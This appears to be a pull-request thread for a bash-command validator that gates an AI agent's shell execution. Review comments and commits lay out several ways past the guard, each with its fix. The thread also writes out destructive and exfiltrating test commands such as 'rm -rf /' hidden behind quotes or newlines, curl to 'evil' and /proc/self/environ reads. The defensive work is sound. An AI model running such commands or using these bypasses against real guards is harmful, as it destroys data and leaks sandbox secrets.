Fixed in 3865687. stripQuotedContent now uses the same word-boundary check + ${…} depth tracking we added to stripComments in round 5. Mid-word # (foo#bar) is literal text, and the comment-strip only fires at word boundaries. Extracted a shared isCommentBoundary helper. Regression test blocks destructive commands hidden after a mid-word # covers echo foo#bar; rm -rf / and echo ${x#1}; rm -rf /.
| if (char === '$' && i + 1 < command.length && command[i + 1] === '(') { | ||
| return true; |
There was a problem hiding this comment.
containsShellSeparator flags any $( as command substitution, which also matches arithmetic expansion ($((...))). As a result, allow/ask exact or prefix rules (for example git:* under default: 'deny') incorrectly reject benign commands like git commit -m "$((1+1))", because they are treated as containing a forbidden separator even though no command substitution occurs.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 3865687. containsShellSeparator now peeks for a second ( after $( and treats $((expr)) as arithmetic (no command runs). Plain $( still returns true. Regression test prefix match: arithmetic $((expr)) is NOT treated as command substitution confirms git commit -m "$((1+1))" is allowed while git commit -m "$(date)" still denies.
…d 10)
Two unrelated findings:
- `stripQuotedContent` had the same mid-word `#` bug we fixed in
`stripComments` round 5. `echo foo#bar; rm -rf /` blanked the
trailing destructive command before the regex pass, hiding it
from `matchAnyDestructive`. Bash treats `#` as a comment marker
only at word boundaries — `foo#bar` is one word and the `#` is
literal. Same fix shape: word-boundary check + `${…}` parameter-
expansion depth tracking. Extracted a shared `isCommentBoundary`
helper so the two stripping functions share the rule. (Codex P1)
- `containsShellSeparator` flagged any `$(` as command substitution,
including arithmetic `$((expr))` — bash evaluates arithmetic as an
integer expression, no commands run. Pre-fix, allowlist rules
like `git:*` under `default: 'deny'` rejected benign uses like
`git commit -m "$((1+1))"`. Peek for the second `(` to distinguish
arithmetic from substitution; arithmetic continues the scan, plain
`$(` returns true. (Codex P2)
Tests: `blocks destructive commands hidden after a mid-word #` and
`prefix match: arithmetic $((expr)) is NOT treated as command
substitution`. 59/59 in the touched suites.
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 386568753c
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if (char === '\\') { | ||
| escaped = true; | ||
| append(' '); | ||
| setPrev(char); | ||
| continue; |
There was a problem hiding this comment.
stripQuotedContent handles \\ before it checks whether the parser is currently inside single quotes, but in bash a backslash is literal inside '...' and does not escape the closing quote. With input like echo 'abc\\'; rm -rf /, this scanner keeps the single-quoted span open, blanks out ; rm -rf /, and matchAnyDestructive fails to detect the destructive tail. Because both validateBashCommandStatic and validateBashCommandHardFloor depend on this normalization, the new remote hard-floor can be bypassed and dangerous commands can still be posted to /exec.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 78f1a7b. Both stripQuotedContent and stripComments now handle single-quote state BEFORE the escape branch — inside '...' backslash is literal, only the closing ' closes the span. Same fix shape as the round-6 containsShellSeparator fix. echo 'abc\'; rm -rf / now correctly closes the quote and the destructive tail is visible to matchAnyDestructive. Regression test: blocks destructive tail when single-quote span contains a backslash (Codex P1 round-11). Also fixed stripComments preemptively (same code shape, different observable effect).
… 11) Same bug class Codex flagged in round 6 for `containsShellSeparator`, but in the comment/quote strippers. Both `stripQuotedContent` and `stripComments` ran the `\` escape branch BEFORE checking whether the parser was inside single quotes. In bash, backslash is literal inside `'...'` — it does NOT escape anything, including the closing `'`. So `'abc\'` actually closes the single quote at the `'` after the literal backslash. Concrete bypass on the destructive-pattern path: echo 'abc\'; rm -rf / Pre-fix: scanner kept the quote span "open" forever, blanked everything from the `\` through end-of-input, including the trailing `; rm -rf /`. `matchAnyDestructive` ran on the blanked form, missed the destructive command, and the hard floor allowed the call through. Fix in both `stripQuotedContent` and `stripComments`: handle the single-quote state BEFORE the escape branch. Inside single quotes nothing escapes, only the closing `'` matters. Mirrors the round-6 fix shape for `containsShellSeparator`. Tests: `blocks destructive tail when single-quote span contains a backslash` covers the canonical bypass + a benign sanity case.
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 78f1a7b88b
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
|
|
||
| const dangerousCommandPatterns: ReadonlyArray<RegExp> = [ | ||
| new RegExp( | ||
| `\\brm\\s+(?:-[^\\s]*[rf][^\\s]*\\s+|-[^\\s]*[r][^\\s]*\\s+-[^\\s]*[f][^\\s]*\\s+)(?:--\\s+)?${DESTRUCTIVE_TARGET}\\s*(?:$|[;&|])` |
There was a problem hiding this comment.
The rm -rf guard only accepts end-of-string or [;&|] after the protected target, so a newline-delimited form like rm -rf /\ncurl ... is not matched and passes validation even though bash executes the destructive command before the next line. This weakens both validateBashCommandStatic and the remote hard floor, which are expected to reject protected-root deletes regardless of command chaining style.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 29cf808. rm -rf regex terminator changed from \s*(?:$|[;&|]) to (?:$|\s|[;&|]) — same shape the chmod/chown patterns already use. Newline is now a valid terminator, so rm -rf /\ncurl evil is blocked. Regression test blocks rm -rf followed by a newline covers \n, \r, and rm -rf $HOME\n....
| for (const candidate of candidates) { | ||
| const findings = runBashAstChecks(candidate, 'auto'); | ||
| for (const finding of findings) { |
There was a problem hiding this comment.
The hard floor delegates /proc/.../environ and source blocking to runBashAstChecks(candidate, 'auto'), but those deny regexes only match narrow forms (e.g. $VAR) and miss common equivalents like /proc/$$/environ, /proc/${pid}/environ, and source ${SCRIPT}. As a result, commands that still read process environment or source from variable expansion can bypass the always-on remote validator.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 29cf808. Broadened both regexes: PROC_ENVIRON_RX is now /\/proc\/[^/\s'\"]+\/environ\b/ — any non-slash non-whitespace non-quote sequence between /proc/ and /environ. Catches $$, ${pid}, $!, $VAR, self, <numeric>. SOURCE_FROM_VAR_RX is now /(?:^|\s)(?:source|\.)\s+[\"']?\$/ — any source $... form. Two regression tests cover the new shapes plus sanity-checks for existing forms.
Two P1 findings, both broaden coverage of existing checks:
- `rm -rf` regex terminator was `\s*(?:$|[;&|])`. The `\s*` greedily
consumes the trailing newline, then the alternation requires
`$` / `;` / `&` / `|` — `\n` is missing from the terminator set.
So `rm -rf /\ncurl evil` slipped past because bash treats `\n` as
a command separator equivalent to `;`. Switched terminator to
`(?:$|\s|[;&|])` — same shape the chmod/chown patterns already
use. (Codex P1)
- `PROC_ENVIRON_RX` only matched `\d+|self|\$[A-Za-z_]` between
`/proc/` and `/environ`, missing the most common pid form `$$`
(current PID), as well as `${pid}` (curly param expansion) and
`$!` (last bg PID). Broadened to `[^/\s'"]+` — any non-slash
non-whitespace non-quote sequence — so any process identifier
shape is caught. (Codex P1)
- `SOURCE_FROM_VAR_RX` only matched `\$[A-Za-z_]`, missing
`${VAR}` and other expansion forms. Broadened to match any
`source $...` / `. $...` where the next token starts with `$`.
Three regression tests cover:
- `rm -rf /\ncurl ...`, `\r`, `rm -rf $HOME\n...`
- `cat /proc/$$/environ`, `/proc/${pid}/environ`, `/proc/$!/environ`
+ sanity-checks for existing forms
- `source ${SCRIPT}`, `source "${REMOTE}"`, `. ${SETUP}`
63/63 in the touched suites.
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 29cf808863
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| // (positional args). Pre-fix only `\d+|self|\$[A-Za-z_]` matched, so | ||
| // the common `/proc/$$/environ` and `/proc/${pid}/environ` forms | ||
| // slipped through. (Codex P1 round-12) | ||
| const PROC_ENVIRON_RX = /\/proc\/[^/\s'"]+\/environ\b/; |
There was a problem hiding this comment.
The hard-floor exfiltration guard can be bypassed by inserting quotes inside the /proc/<pid>/environ path (for example, cat /proc/"self"/environ), which Bash resolves to the same file at runtime. PROC_ENVIRON_RX only matches a single unquoted token between /proc/ and /environ, so quoted-segment variants are not flagged and the command reaches remote execution despite the intended always-on block.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 12539d2. Dropped the '" chars from PROC_ENVIRON_RX's negated class so the regex is now /\/proc\/[^/\s]+\/environ\b/. Quoted segments like /proc/\"self\"/environ and /proc/'1'/environ (which bash resolves to the same path) are now caught. Regression test blocks /proc/<pid>/environ with quoted segments.
| if (i + 2 < command.length && command[i + 2] === '(') { | ||
| continue; | ||
| } |
There was a problem hiding this comment.
The separator scanner treats $((...)) as non-substitution but does not advance past the arithmetic body, so inner arithmetic operators like < or > are later misclassified as shell separators. As a result, allowlist rules (exact or :* prefixes) incorrectly deny benign commands such as echo $((1<2)) or git log -n $((a>b)) under default: 'deny' policies.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 12539d2. containsShellSeparator now walks paren depth past the entire $((…)) body when arithmetic is detected — inner </> operators are no longer seen by the separator loop. Nested parens ($((1*(2+3)))) are tracked. Regression test prefix match: arithmetic $((expr)) skips inner operators covers 1<2, a>b, nested arithmetic, plus a sanity case for bare < outside arithmetic.
Two more incremental coverage extensions: - `PROC_ENVIRON_RX`'s round-12 broadening still excluded quote chars from the segment class (`[^/\s'"]+`). Bash resolves quoted tokens at runtime, so `/proc/"self"/environ` and `/proc/'1'/environ` are the same file as `/proc/self/environ` — but our regex didn't see them. Dropped the quote-char exclusion. (Codex P1) - `containsShellSeparator` arithmetic detection (round-10) only `continue`d on `$((` without advancing past the body. So inner arithmetic operators (`<`, `>`) inside expressions like `$((a>b))` still got treated as shell separators / redirection by the rest of the loop, denying benign commands like `git log -n $((a>b))` under allowlist policies. Now we walk paren depth to skip the entire `$((…))` body. Nested parens inside arithmetic (`$((1*(2+3)))`) are tracked correctly. (Codex P2) Tests: - `blocks /proc/<pid>/environ with quoted segments` covers `"self"`, `'self'`, `"1"` — all bash-equivalent to the unquoted form. - `prefix match: arithmetic $((expr)) skips inner operators` covers `1<2`, `a>b`, nested `1*(2+3)`, plus a sanity case that bare `<` outside arithmetic is still detected. 65/65 in the touched suites.
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 12539d20e1
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if (i + 2 < command.length && command[i + 2] === '(') { | ||
| // Skip the entire `$((…))` body so inner arithmetic operators | ||
| // (`<`, `>`, etc.) aren't misclassified as shell separators | ||
| // by the rest of the loop. Track paren depth (start at 2 for | ||
| // the two opening parens; decrement on `)`, increment on |
There was a problem hiding this comment.
The $((...)) fast-path in containsShellSeparator skips the full arithmetic body, so nested substitutions are never inspected. In Bash, arithmetic expansion still performs command substitution (the manual states tokens in the expression undergo command substitution), so inputs like git status $(( $(curl https://evil) + 1 )) or backtick variants can execute extra commands while still matching an allowlist rule such as git:* under default: 'deny'. This turns the policy hook into a bypass for exactly the chained-command behavior it is meant to block.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 8988154. containsShellSeparator now walks the $((…)) body explicitly while tracking paren depth; $( (single paren) or backticks inside arithmetic short-circuit to deny. Nested $(( deepens the paren stack by 2 (not a bypass). Regression test prefix match: command substitution INSIDE $((expr)) is still detected covers both forms + a sanity case for nested arithmetic without cmd subst.
Bash performs command substitution inside `$((expr))` before evaluating the integer expression. The round-13 fix walked past the arithmetic body wholesale to dodge inner `<`/`>` operators that look like shell separators — but that also hid inner `$(…)` and backticks from inspection. `git status $(( $(curl evil) + 1 ))` runs curl regardless of the arithmetic wrap. Fix: walk the `$((…))` body explicitly, tracking paren depth, and check each char for cmd-subst markers. Nested `$((` deepens the paren stack by 2 (not a bypass); `$(` (single paren) inside arithmetic is real cmd subst and returns true. Backticks inside arithmetic also return true. Tests: `prefix match: command substitution INSIDE $((expr)) is still detected` covers `$(( $(curl evil) + 1 ))`, backtick form, and a sanity case for legitimate nested arithmetic `$(( $((1+2)) * 3 ))`.
After a false-positive audit of the hard floor, the
`source-from-variable` deny rule was the worst offender: it caught
legitimate dev-env init patterns that a code-execution agent
routinely runs to set up its environment —
source \$HOME/.bashrc
source \$VIRTUAL_ENV/bin/activate
source \$NVM_DIR/nvm.sh
source \$(brew --prefix)/share/...
The original threat ("sourcing from an attacker-controlled unbound
variable") only applies if the agent doesn't control the command.
In a sandboxed code-exec context the agent itself builds the
command — that's not the bypass shape we're guarding against.
Demoted from `deny` to `warn` (default) / `deny` (strict):
- Hard floor (always-on) now allows `source \$VAR` shapes.
- `validation: 'strict'` still escalates it to deny.
Other always-on floor patterns (rm -rf protected roots, mkfs/dd
disk-tampering, fork bombs, /proc/<pid>/environ, zsh privileged
builtins, positional-arg protected target) keep their `deny`
severity — those have near-zero FP risk in realistic workloads.
Tests updated: `does NOT block source-from-variable in the hard
floor` (replaces the round-12 deny assertion); new strict-mode
escalation test confirms `bashAst: 'strict'` still rejects it.
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: bb304e623c
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| // would let bash run the trailing command unauthorized | ||
| // (Codex P1 round-2). Hosts that want to allow chains must | ||
| // write rules for each segment, or use exact-match patterns. | ||
| if (containsShellSeparator(command)) return false; |
There was a problem hiding this comment.
The :* matcher unconditionally returns false when containsShellSeparator(command) is true, which means deny rules are bypassed for chained input. For example, with { deny: ['rm:*'] } (and default allow), rm -rf /tmp && curl ... will not match deny and falls through to allow. The separator guard is useful for allow-rules, but applying it to deny/ask matchers removes policy coverage exactly where users expect strongest blocking.
Useful? React with 👍 / 👎.
|
|
||
| const bashAstMode = config.bashAst ?? 'off'; | ||
| if (bashAstMode !== 'off' && config.allowDangerousCommands !== true) { | ||
| const findings = runBashAstChecks(normalized, bashAstMode); |
There was a problem hiding this comment.
In strict mode, runBashAstChecks runs on normalized, but normalized is produced by stripQuotedContent, which blanks out double-quoted segments. As a result, command substitution inside double quotes (for example, echo "$(curl ...)") is not detected by strict validation even though Bash still executes it. This weakens the newly added remote validation: 'strict' guarantee by allowing a class of substitutions the mode is intended to block.
Useful? React with 👍 / 👎.
43 tests covering legitimate workloads that MUST NOT trip the
regex floor. Every codex-iteration round through this PR closed a
real bypass; this suite is the inverse — it locks in that we
didn't over-tighten and break real users.
Coverage spans common agent-loop patterns:
- Git workflows (status/add/commit/push/branch/checkout/merge/
rebase/stash/reset/clean)
- Package managers (npm/yarn/pnpm/pip/uv/poetry)
- Build tools (cargo/go/make)
- Docker / kubectl
- Test runners (jest/vitest/mocha/pytest/go test/cargo test)
- File/text utilities (ls/cat/head/tail/grep/find/sed/awk/sort/
uniq/wc/cut/tr)
- Network tools (curl/wget) with normal URLs
- Shell setup (`source $HOME/.bashrc`, `source $VIRTUAL_ENV/bin/
activate`, `. ${SCRIPT_DIR}/setup.sh`, etc. — the Codex FP-audit
case that triggered demoting `source-from-variable` to warn)
- Process/system inspection (ps/top/kill/df/du/free/lsblk + non-
environ /proc reads)
- Bash language features (`${var#prefix}` parameter expansion,
`$((arithmetic))`, mid-word `#`, backslash inside single quotes,
legitimate command substitution like `echo "Today is $(date)"`)
- rm/chmod/chown against non-protected paths
- Print/echo of destructive-looking strings (tutorials, warnings,
documentation)
- Shell comments mentioning deny patterns
- Multi-line scripts (shebang, conditionals, loops, functions)
- Positional args containing safe paths or flags
Plus a "KNOWN-accepted false positives" section that documents the
two cases the regex floor still rejects (defense-in-depth trade):
- `echo "see /proc/self/environ"` — printing the literal string,
not reading it. Tree-sitter-bash AST would distinguish; the
codeapi-side validator (ClickHouse/ai#1619) handles correctly.
- `cat "$1" "$2"` + `args:['/proc/self', '/environ']` — two
separate cat calls neither reads /proc/self/environ; the args-
joined-raw scan reassembles. AST sees them as two argv slots.
Both will be allowed once the codeapi-AST validator becomes the
authoritative layer for `/exec` bash requests.
Tests grouped by category so any regression names the broken
workload class. `shouldAllow` helper throws with the rejection
reasons so debugging is one click.
danny-avila
force-pushed
the
claude/dreamy-kapitsa-06a93d
branch
from
c84e360 to
d922a11
Compare
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: d922a11d98
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| return { | ||
| source, | ||
| test: (command: string): boolean => { | ||
| if (containsShellSeparator(command)) return false; |
There was a problem hiding this comment.
The exact-match branch now unconditionally returns false when containsShellSeparator(command) is true, so policies cannot match commands containing pipes, redirections, &&, or ; even when the host explicitly lists that full command in allow, ask, or deny. This breaks the documented/expected escape hatch for chaining (the prefix matcher comment says to use exact rules for that) and makes default: 'deny' allowlists unable to authorize many legitimate bash commands (e.g., cat file | jq ...), because those exact rules will never match.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Fixed in 7d5ea73. Dropped the containsShellSeparator gate from the exact-match branch — the space-tab-only normalization (which we kept) preserves the round-6 protection (npm\ntest doesn't collapse to npm test), and exact-match equality fails on suffix-extended chains (npm test; curl evil !== npm test). Hosts can now use exact rules as the documented escape hatch for authorizing explicit chains: allow: ['cat file | jq .'] matches cat file | jq .. New regression test exact match: authorizes piped/chained commands when host lists them exactly covers this; all 23 existing policy-hook tests still pass.
…172) The exact-match branch unconditionally bailed when the command contained shell separators, so policies couldn't authorize chained or piped commands even when the host listed the full string in `allow` / `ask` / `deny`. Documented as the escape hatch: "use exact rules to authorize chains", but the gate broke that. Dropped the `containsShellSeparator` check from exact-match. Round-6 protection (`npm test` rule doesn't match `npm\ntest`) is preserved by the space-tab-only normalization — newlines stay separators in the comparison, so `npm\ntest` !== `npm test`. And `npm test; curl evil` !== `npm test` either, so over-matching requires the host to write the full chained string exactly. Tests: - New: `exact match: authorizes piped/chained commands when host lists them exactly` covers `cat file | jq .` and `find . -name "*.ts" -exec wc -l {} +`, plus sanity checks that unrelated commands default-deny and suffix-extended chains don't over-match. - All 23 existing policy-hook tests still pass — round-6 newline case still rejects, no behavioral regression. 110/110 across all bash-validation tests in agents-lib.
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 7d5ea7327d
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| const findings = runBashAstChecks(candidate, 'auto'); | ||
| for (const finding of findings) { |
There was a problem hiding this comment.
The always-on hard floor now feeds comment-stripped but quote-preserving command text into runBashAstChecks, so any literal mention of /proc/<pid>/environ is treated as a deny finding even when no file read occurs (for example, echo '/proc/self/environ' or grepping that string in source). Because this check runs unconditionally in the remote BashExecutor, benign commands can be blocked in production despite not exfiltrating environment data.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Not fixing in this PR — this is a known-accepted defense-in-depth trade explicitly documented in src/tools/__tests__/bashFloorFalsePositives.test.ts (KNOWN-accepted false positives section). The regex-based hard floor can't distinguish echo '/proc/self/environ' (prints the string) from cat /proc/self/environ (reads the file) — both have the same textual surface. Tree-sitter-bash IS the right substrate for that distinction (it sees echo as a print-arg command and cat as a file-reading command), and the codeapi-side AST validator at ClickHouse/ai#1619 already implements exactly that: FILE_READING_COMMANDS allow-list so only readers flag the path. Once #1619 ships and becomes the authoritative /exec-time gate, the agents-lib regex floor relaxes here too. The FP test in bashFloorFalsePositives.test.ts asserts expect(...).toBe(false) today; it flips to true then. Trade is intentional and the migration path is wired.
1 participant
Summary
Shared synchronous bash validator used by both the local engine and the remote
BashExecutor, plus aPreToolUsepolicy hook with an allow/deny/ask DSL.Validation
New
src/tools/local/bashValidation.tswith two entry points:validateBashCommandHardFloor— always-on for the remote/execpath. Blocks the patterns that should never run on a remote sandbox:rm -rfagainst protected roots (quoted, nested-shell, positional-arg variants), disk-tampering utilities (mkfs,dd of=/dev/…,fdisk), fork bombs,/proc/<pid>/environreads (sandbox env exfil — the most important one),source $UNBOUND_VAR, and zsh privileged builtins. Not bypassable by config — the host doesn't own the remote sandbox.validateBashCommandStatic— full regex + bashAst pass; consumed by the local engine and byBashExecutor's opt-invalidation: 'auto' | 'strict'mode.LocalExecutionEngine.tsrefactored to delegate to the shared module. Regex bodies and the positional-arg check are no longer duplicated between the local engine and the new module.BashExecutor.ts(the remote/execpath) — hard floor runs unconditionally before the POST; the new opt-invalidationfield onBashExecutionToolParams('off' | 'auto' | 'strict', default'off') layers the static pass on top for hosts that want it.Permissions hook
createBashPolicyHookmirroringcreateWorkspacePolicyHook. DSL:"git:*"— prefix match on first token (boundary-aware:gitlabdoesn't match)"git push:*"— prefix match on the full command"npm test"— exact match"*"— anydeny > ask > allow > default(defaults to'allow'so an empty policy is a no-op)'ask'flow — collapses to deny when HITL is off, matching the rest of the SDKtoolNamesdefaults to[BASH_TOOL]; widen to includeBASH_PROGRAMMATIC_TOOL_CALLINGorEXECUTE_CODEas neededBonus fixes (uncovered while running local-engine tests)
handleChunkoverflow leak: onceoverflowKilledwas set, the first chunk returned but subsequent chunks still fell through toensureSpill(). A fast-output child (yes) that ignores SIGTERM could write 5–20 GiB to a temp file during the 2s SIGTERM→SIGKILL escalation window. Drop every post-kill chunk.Spill-file lifetime:
lc-local-output-*.txtfiles intmpdir()outlived the Node process forever (accumulated GiBs of orphans on CI runners and dev machines). Add a per-process registry, clean onprocess.on('exit'), expose_resetLocalEngineSpillFilesForTestsfor callers that want eager cleanup. Closes Local engine: spill files in tmpdir are never cleaned up #143.Architectural note: the linked issue suggested a Run-scoped registry +
Run.complete()hook. This PR uses a process-scoped registry +process.on('exit')instead — spill files are designed to outlive individual tool calls within a Run (so the model can read them on a later turn), and the production hosting shape restarts the Node process between Runs, so per-process cleanup is sufficient without threading aRun.dispose()plumbing through every spawn call site.Test plan
npx jest src/tools/__tests__/BashExecutor.validation.test.ts— 29 new tests passingnpx jest src/hooks/__tests__/createBashPolicyHook.test.ts— 14 new tests passingnpx jest src/tools/__tests__/LocalExecutionTools.test.ts— same pass/fail counts asmain(the 11 failures are pre-existing Windows-vs-POSIX path issues, verified viagit stashround-trip)npx tsc --noEmit— cleannpx eslint src/tools/local/bashValidation.ts src/hooks/createBashPolicyHook.ts src/tools/BashExecutor.ts— 0 errors, 0 new warningsBackwards compatibility
validateBashCommandkeeps itsPromise<{ valid, errors, warnings }>shape — no caller broken.BashExecutor's new hard floor blocks ~6 categorical patterns that legitimate workloads never produce; existing users running benign commands see no change. Thevalidationconfig field defaults to'off'so the bashAst heuristic pass remains opt-in.Threat model
The remote hard floor is defense-in-depth, not the primary boundary — the actual sandbox is the Code API
/execendpoint. The floor exists to:rm -rf /)/proc/<pid>/environ)For adversarial-model threat models, hosts should still pair this with
local.sandbox.enabled: trueon the local path.